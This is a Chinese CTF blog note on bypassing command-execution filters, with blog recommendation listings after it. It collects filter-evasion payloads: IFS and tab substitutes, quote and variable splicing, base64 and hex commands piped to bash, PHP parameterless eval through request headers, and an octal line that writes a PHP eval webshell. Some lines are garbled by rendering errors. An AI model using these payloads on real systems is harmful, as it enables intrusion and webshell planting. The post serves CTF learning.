[rce]-bypass-笔记

CTF 命令执行绕过总结 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示。或:rce-xor-or.php & rce-xor-or.py。# ls -t >shell 将输出输入到shell文件中。异或:rce-xor.php & rce-xor.py。%09(url传递)(cat%09flag.php)sh /flag 2>%261 //报错出文件内容。2、1使用空变量$*和$@,$x,${x}绕过。7、异或无符号(过滤0-9a-zA-Z)more:一页一页的显示档案内容。 阅读详情

空格过滤

IFS是Linux中的一个特殊的环境变量,就是内部字段分隔符,默认下是空格、制表符、换行符。
这个是可以自定义的,像; , . : 都可以当做字符之间的分隔符
$IFS
$IFS9后面的一位数字随便填,第二个9 后面的一位数字随便填,第二个9后面的一位数字随便填,第二个 起截断作用
${IFS} ${}之前说过,是可以解析变量的
{cat,flag.php} 用逗号实现空格作用
%09 %20 %0a %0b %0c %0d 这些就是制表符,换行键,换页键,回车键,空格键来代替空格
重定向符
cat *>1.txt 标准输出重定向到文件(会覆盖原文件数据)
cat *>>1.txt (追加写入文件)
cat <1.txt 文件内容作为标准输入
cat<>1.txt
2>&1 (标准输出和错误输出)

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{highlight_file(__FILE__);}

/dev/null 在Linux中代表空设备文件,向这个文件的所有写入都会丢失;
2>&1 会将所有的正确和错误的输出都写入,所以返回没有任何显示,只需要让后面的重定向输入是空就行.

payload: ls;>/dev/null ls||>/dev/null

管道

echo 1| echo 2
左边的输出结果作为右边的参数输入,也就是说左右两边都会被执行,且输出只有右边
echo 1|| echo 2
这个就是"或",只有左边为假才会执行右边
echo 1& echo 2
& 两边都会被执行,但是输出只有右边
echo 1&& echo 2
左边为真才会执行右边

查看文件内容

more:一页一页的显示文档内容
less:与more类似,也支持翻页
head:查看头几行,默认10行
tail:查看尾几行,默认10行
cat:打印到标准输出设备
tac:从最后一行开始显示,是 cat 的反向显示
nl:显示的时候,顺便输出行号
od:默认八进制的方式读取档案内容
vi:一种编辑器,这个也可以查看返回内容
vim:这个也可以
sort:排序输出
uniq:去重输出
file -f:报错输出内容
paste -s:每列合并输出
grep .* :同样可以输出文件

php中命令执行函数

system() //输出并返回最后一条语句的执行结果
passthru() //执行结果原样地直接输出到标准输出设备,浏览器页面也是
exec() //不返回执行结果
shell_exec() //通过shell环境执行命令,并且将完整的输出以字符串的方式返回,但不直接输出
popen(‘file’,‘r/w’)//返回一个单向的文件指针,只能用于读或写
proc_open(cmd,array)//PHP多进程
pcntl_exec(path[,args,envs])//进程控制函数,必须是可执行二进制文件的路径,args是参数,envs是环境变量
//这个函数厉害的地方在于突破disable_functions限制执行命令,通过查看phpinfo()会发现被禁用的函数很多都是常有的事
反引号`` //同shell_exec()

正则过滤

//举个例子
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }

可以看到这里过滤了数字,没过滤字母和(),*?.`&|’ "^{}[]=$~等关键通配符和变量拼接绕过都被过滤了。可以考虑无参a()

方法1
getallheaders() //以数组的形式返回HTTP头信息
implode()   //压缩数组,返回字符串
    
echo implode(getallheaders());  抓包看看请求包和响应包
//请求包:
GET /test.php HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Cache-Control: max-age=0
​
//响应包
max-age=0?1nonenavigatedocument1closegzip, deflatezh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0127.0.0.1:8000
    
发现响应包返回的值就是请求头的值,所以我们如果在HTTP头加上我们的东西,是不是响应包也会带上我们的值呢
//在请求包最下面一行加上我们的HTTP头信息
Paidx0: phpinfo();//
//返回响应包
phpinfo();//max-age=0?1nonenavigatedocument1closehttp://127.0.0.1:8000/test.phpgzip, deflatezh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0127.0.0.1:8000
​
看见 phpinfo();后面的内容被我们的值注释掉了,是不是思路来了,如果这部分交给 eval()去执行是不是就OK了
?_=eval(implode(getallheaders()));

payload: 1、请求头添加 pram1: phpinfo();// ,implode()函数,反向压缩生成字符串,可以注释后面的参数

2、 _=eval(implode(getallheaders()));

方法2

get_defined_vars() //返回所有已定义变量的所组成的数组
array(5) { [“GET"]=> array(1) { ["”]=> string(5) “12345” } [“_POST”]=> array(0) { } [“_COOKIE”]=> array(1) { [“XDEBUG_SESSION”]=> string(14) “XDEBUG_ECLIPSE” } [“FILES"]=> array(0) { } ["”]=> string(5) “12345” }

http://127.0.0.1:8000/test.php?_=12345
我们传进去的参数值出现在了"_GET"数组中,下面只需要从这个数组中拿值就行了
current() //输出数组指针中的当前元素的值,初始指针指向第一个单元,怎么理解呢就是每个数组其实都是有一个内部指针的,是叫句柄吧,可以通过next()向后移动这个指针,reset()重新指向第一个单元

所以 current(get_defined_vars()) 就可以拿到排在二维数组第一个的"GET"数组了
array(2) { ["
"]=> string(5) “12345” [“a”]=> string(10) “phpinfo();” }
再用 end()拿到后面的 phpinfo();
所以就可以是这样执行命令 ?_=eval(end(current(get_defined_vars())));&a=phpinfo();
end() - 将内部指针指向数组中的最后一个元素,并输出
next() - 将内部指针指向数组中的下一个元素,并输出
prev() - 将内部指针指向数组中的上一个元素,并输出
reset() - 将内部指针指向数组中的第一个元素,并输出
each() - 返回当前元素的键名和键值,并将内部指针向前移动

无参读文件

readfile(next(array_reverse(scandir(getcwd()))));
show_source(next(array_reverse(scandir(pos(localeconv())))));
show_source(next(array_reverse(scandir(getcwd()))));

构造数字

(( ((~(( (()))) //-1
(( ((~(( ((~$(()))))) //0
(( ((~(( (( (( ((~(( (()))) (( ((~(( (()))) )))) //1
(( ((~(( (( (( ((~(( (()))) (( ((~(( (()))) (( ((~(( (()))) )))) //2
(( ((~(( (( (( ((~(( (()))) (( ((~(( (()))) (( ((~(( (()))) (( ((~(( (()))) )))) //3

cat (( ((~(( (( (( ((~(( (()))) (( ((~(( (()))) )))).txt 也就是 cat 1.txt

编码绕过

#base64
echo “Y2F0IC9mbGFn”|base64 -d|bash //cat /flag
echo “Y2F0IC9mbGFn”|base64 -d|sh //cat /flag
#hex
echo “0x636174202f666c6167”| xxd -r -p|bash //cat /flag
#8进制,16进制
$(printf “\154\163”) //ls
KaTeX parse error: Undefined control sequence: \x at position 10: (printf "\̲x̲63\x61\x74\x20\…_POST[‘c’]);?>
${printf “\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76”}>>1.php

关键字绕过

拼接绕过

a=l;b=s;aaab #ls
a=c;b=at;c=f;d=lag;aaab c{c}c{d} #cat flag
a=“ccaatt”;b=a:0:1{a:0:1}a:0:1{a:2:1}a:4:1;{a:4:1};a:4:1;b test #cat test
引号反斜杠绕过

c’'at test
c’a’t test
c"a"t test
ca\t test

$PATH环境变量绕过

echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
截取出local中的ca和t拼接
echo $PATH| cut -c 8,9t test //cat test
cat echo ${PATH:1:1}.php //cat u.php

扩展符通配符绕过

cat t[a-z]st //匹配方括号中的任意一个字符,但不存在该文件时,就被当做一个普通的字符串
cat t{a,b,c,d,e}st //扩展符,不管是否存在该文件,都会展开并执行

VH6501干扰仪的使用 触发模式方法备注External Trigger(外部触发)使用VH6501的I/O口作为触发源Frame Trigger(报文触发)设定被干扰报文的触发位置,并发送干扰位序列/报文software Trigger(软件触发)配置好干扰序列后直接发送Error Frame Trigger(错误帧触发)基于错误帧标识位为触发条件触发干扰Direction Trigger(发送方向触发)根据TX/RX发送/接收方作为触发条件Inverted Trigger(反向触发) 阅读详情

相关推荐

Python+Flask+Echarts打造全国气象数据可视化分析大屏

本文详细介绍了如何使用Python+Flask+Echarts构建全国气象数据可视化分析大屏,实现实时监控、趋势分析和快速决策。通过Python强大的数据处理能力、Flask的轻量级优势和Echarts的交互体验,打造高效的气象数据可视化系统,提升农业、物流等行业的决策效率。

weixin_29061531的博客 1061

CTF之命令执行常见绕过

在 linux 下表示分隔符,只有cat$IFSa.txt 的时候, bash 解释器会把整个 IFSa当做变量名,所以导致没有办法运行,然而如果加一个 {} 就固定了变量名,同理在后面加个 $ 可以起到截断的作用,而 $9 指的是当前系统shell 进程的第九个参数的持有者,就是一个空字符串,因此 $9 相当于没有加东西,等于做了一个前后隔离。]有一个重要的区别,当匹配的文件不存在,[…通过测试,可见程序过滤了截断符,根据以上的知识,我们来fuzz一下可用的截断符。根据burp爆破,发现可以通过。

qq_42383069的博客 8832

用Multisim和74HC系列芯片,手把手教你搭建一个能“算数”的简易CPU模型

本文详细介绍了如何使用Multisim仿真软件和74HC系列芯片搭建一个简易CPU模型,重点解析了74HC194寄存器和74HC283加法器的核心功能与连接方法。通过分步图解和实战调试,帮助读者理解CPU工作原理,掌握数字电路设计的基本技能,适合计算机组成原理初学者和电子爱好者实践学习。

weixin_26843605的博客 140

CTF中命令执行常见bypass

CTF比赛中常见的命令执行以及绕过

m0_58595840的博客 1143

@transactional滥用导致数据源连接池耗尽问题

@transactional滥用导致数据源连接池耗尽问题

qq_43205267的博客 1201

CKAD-CN 考试知识点分享(12) Secret - 1

步骤操作完成1提取 Deployment 中的硬编码 Secret 值✅2创建名为postgres的 Secret✅3修改 Deployment 使用引用 Secret✅4验证新 Pod 正常运行✅❌未删除原 Deployment✅(遵守要求)✅任务完成。敏感信息已从环境变量移出,安全地存储在 Kubernetes Secret 中。

轻的博客 632

CTF中的Bypass命令执行

linux命令敏感字符绕过 反斜杠: ca\t 1.txt 连接符——单引号: ca''t 1.txt 变量拼接字符: a=ca;b=t;$a$b 1.txt base64编码绕过: `echo 'Y2F0Cg==' | base64 -d` 1.txt 命令提示符$: ca$@t 1.txt //$@ 是传给脚本的所有参数的列表 ca$9t 1.txt //$9 是传递给该shell脚本的第九个参数 ...

D.MIND 的博客 3763

5个实战必备的多模态情感分析数据集(附下载链接与避坑指南)

本文精选了5个实战必备的多模态情感分析数据集,包括CMU-MOSEI、CH-SIMS、UR-FUNNY、MUStARD和IEMOCAP,并提供了详细的下载链接与避坑指南。文章重点介绍了如何高效获取、预处理这些数据集,并自然整合了多模态情感分析的核心热词,旨在帮助研究者和开发者快速启动项目,规避常见陷阱,聚焦模型创新。

yolo5detector的博客 280

CTF中的命令执行绕过方式

cat $b$a绕过空格就用上面提到的$IFS$1完整的payload 1;shell 提供了 && 和 || 来实现命令执行控制的功能,shell 将根据 && 或 || 前面命令的返回值来控制其后面命令的执行。连续使用管道意味着第一个命令的输出会作为 第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推。默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个'&'实现这个目的。

2401_84466223的博客 2244

VsCode+JLink+GCC替代Keil开发GD32程序-个人总结

对个人使用vscode+Jlink开发GD32程序做了总结,供需要者参考。

MyCollege1999的博客 2768

Python爬取拼多多商品数据保姆级教程(附源码及效果图)

本文介绍了使用Python爬取拼多多商品数据的完整教程。通过DrissionPage库模拟浏览器操作,利用正则表达式提取嵌入在HTML中的商品数据(关键步骤是从window.rawData变量获取),解析后转换为结构化数据并导出Excel。教程包含八大步骤:环境配置、浏览器初始化、网络监听、搜索模拟、数据提取(核心是正则匹配JSON)、数据验证、字段解析和Excel导出,最后提供了封装好的函数可直接调用。该方法特别适合课程作业或毕业设计获取电商数据,能爬取商品名称、价格、销量等关键信息,处理了价格单位转换等

weixin_46449236的博客 2082

RCE常见的Bypass思路

零基础学黑客,搜索公众号:白帽子左一 在渗透或者CTF中,总会有特殊函数被过滤,如’ls、cat、tac’。 防火墙将这些函数加入黑名单,我们需要找一些方法来代替,用fuzz给他们替换,就出现了BYpass思路。 这里总结了RCE常见的Bypass思路。 学习就是先走一回别人的老路,知识点到量才可以开创自己的新路。 一、RCE漏洞 远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。 原理:服务器没有对执行命令的函数进行过滤,导致命令被执行。 二、常见的命令执行函

hackzkaq的博客 1210

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

RCE的Bypass骚姿势

Text. 提到RCE漏洞, 我们当然想用cat、chmod、whoami、ifconfig、ls等这些操作对不对!像这些敏感命令,防火墙就会进行过滤。还有特殊字符如单引、双引、空格等等 ,防火墙同样会进行过滤 。那么本篇来学习一下在CTF及实际渗透当中利用RCE的一些姿势 空格绕过: 在bash下可以用${IFS}、$IFS$9、<、>、<>、{,}、%20(space)、%09(tab, 在URL上使用较多 ) 这里我测>的时候会卡住,因为>指的是写入,就

blue_fantasy的博客 1040

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

常见Linux Bypass技巧

推荐一个红队混淆框架:https://github.com/Bashfuscator/Bashfuscator。某些RCE接口限制了字符的长度,此时我们可以使用短字符 Bypass达到RCE的效果。IFS 是 shell 用来分隔字段的变量,默认是 空格、Tab 和换行符。执行whoami命令,如果第一个字符是s,则延迟5s。1、双重 Base64 编码隐藏反弹shell命令。取 HOME 变量的第一个字符,即。3、查看当前目录所有文件,但是。可以从环境变量获取字符,比如。5、利用未定义变量和。

大河之犬的博客 1021

WEB安全--RCE--webshell HIDS bypass

webshell绕过

m0_74800552的博客 948

php骚姿势,RCE的Bypass与骚姿势总结

本文原作者;小仙人Bypass篇前言:关于RCE的Bypass,我们应该从哪些角度开展呢。要知道怎么绕过,我们就得知道防火墙的过滤规则才行。那我们想想,在利用RCE漏洞的时候,我们当然想用cat、chmod、whoami、ifconfig、ls等这些操作对不对!像这些敏感命令,防火墙就会进行过滤。还有特殊字符如单引、双引、空格等等,防火墙同样会进行过滤。那我们现在知道那该死的防火墙不让我们输入那些...

weixin_29800175的博客 639

bypass

后来我尝试换思路,通过 PHP 的 SplFileObject 类创建当前脚本的文件对象(也就是$_SERVER['DOCUMENT_URI'] 加上 $_SERVER['DOCUMENT_ROOT'] 得到的路径),然后动态拼接写入一句类似 <?调用fwrite写入内容,$s[3]的意思是调用第一句话的第3个字母“l”,把l取出来,那么这句话的意思是:写入<?所以第三局话的意思是:定义一个file,他的值为新的一个类(SplFileObject),这个类的作用是往d写入内容。::,两个冒号是静态方法。

w283065的博客 1181

WEB安全--RCE--webshell HIDS bypass4

我们回过头来看$da->getTimestamp()>=1725329100||$n='1' ,当$da->getTimestamp()>=1725329100为假,$n='1'就会执行赋值的操作,这时$n的值就由'F'变为'1',但是当$da->getTimestamp()>=1725329100为真,那么就不会执行$n='1'的操作,$n='F'的值就不变了。此时满足时间条件,$n='F',ltrim从参数的默认值常量名中去掉前导的$n,也就是说FSYSTEM会变成SYSTEM,就能构成命令执行。

m0_74800552的博客 563

WebShell-Bypass-Guide preg_replace函数RCE漏洞利用指南

WebShell-Bypass-Guide是一份从零学习Webshell免杀的实用手册,其中详细介绍了各种Webshell绕过技术和漏洞利用方法。本文将重点讲解preg_replace函数的RCE漏洞利用,帮助新手理解这一常见的安全漏洞。 ## 什么是preg_replace函数RCE漏洞 preg_replace是PHP中一个强大的正则表达式替换函数,当使用/e修饰符时,该函数会将替换后的字

gitblog_00954的博客 1132

WEB安全--RCE--webshell HIDS bypass3

webshell bypass

m0_74800552的博客 471

WEB安全--RCE--disable_function bypass

disable_function bypass

m0_74800552的博客 1224

RCE命令执行之花式bypass

本文主要阐释了RCE命令执行漏洞的绕过技巧,整理不易,希望多多支持我哟。。

2301_79949226的博客 1029

php无参数函数实现rce,PHP Parametric Function RCE

前言最近做了一些 php 无参数函数执行的题目,这里做一个总结,以便以后 bypass 各种正则过滤。大致思路如下:1. 利用超全局变量进行 bypass,进行 RCE2. 进行任意文件读取什么是无参数函数 RCE传统意义上,如果我们有:eval ( $_GET [ ’ code ’ ] ) ;即代表我们拥有了 " 一句话木马 ",可以进行 getshell,例如:但是如果有如下限制:if ( ’...

weixin_42303721的博客 747

无参数函数RCE

1.利用超全局变量进行bypass,进行RCE 2.进行任意文件读取

weixin_53146913的博客 2470

RCE宝典公开,全民RCE的时代到来,从零基础到精通,收藏这篇就够了!

queryInterceptors:一个逗号分割的Class列表(实现了com.mysql.cj.interceptors.QueryInterceptor接口的类),在Query”之间”进行执行来影响结果。这篇文章是ZAC安全的点点师傅写的,之前发星球的时候我觉得写的非常不错,非常适合各类新老审计员进行学习。cmd1 && cmd2 先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2。Linux还支持分号(;cmd1 & cmd2 先执行cmd1,不管是否成功,都会执行cmd2。

Libra1313的博客 1336

Apache Log4j RCE Waf Bypass &amp; Data Exfiltration Payloads_log4j bypass

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。(img-iNlPIltG-1713299589176)]的资料的朋友,可以添加V获取:vip204888 (备注网络安全)**因篇幅有限,仅展示部分资料。

ccc6553584的博客 787
上一篇: [工具]-gitee+pycharm-配置
下一篇: [代码审计]-枯燥的抽奖-笔记
少多慢快
博客等级 码龄17年 726粉丝 97原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值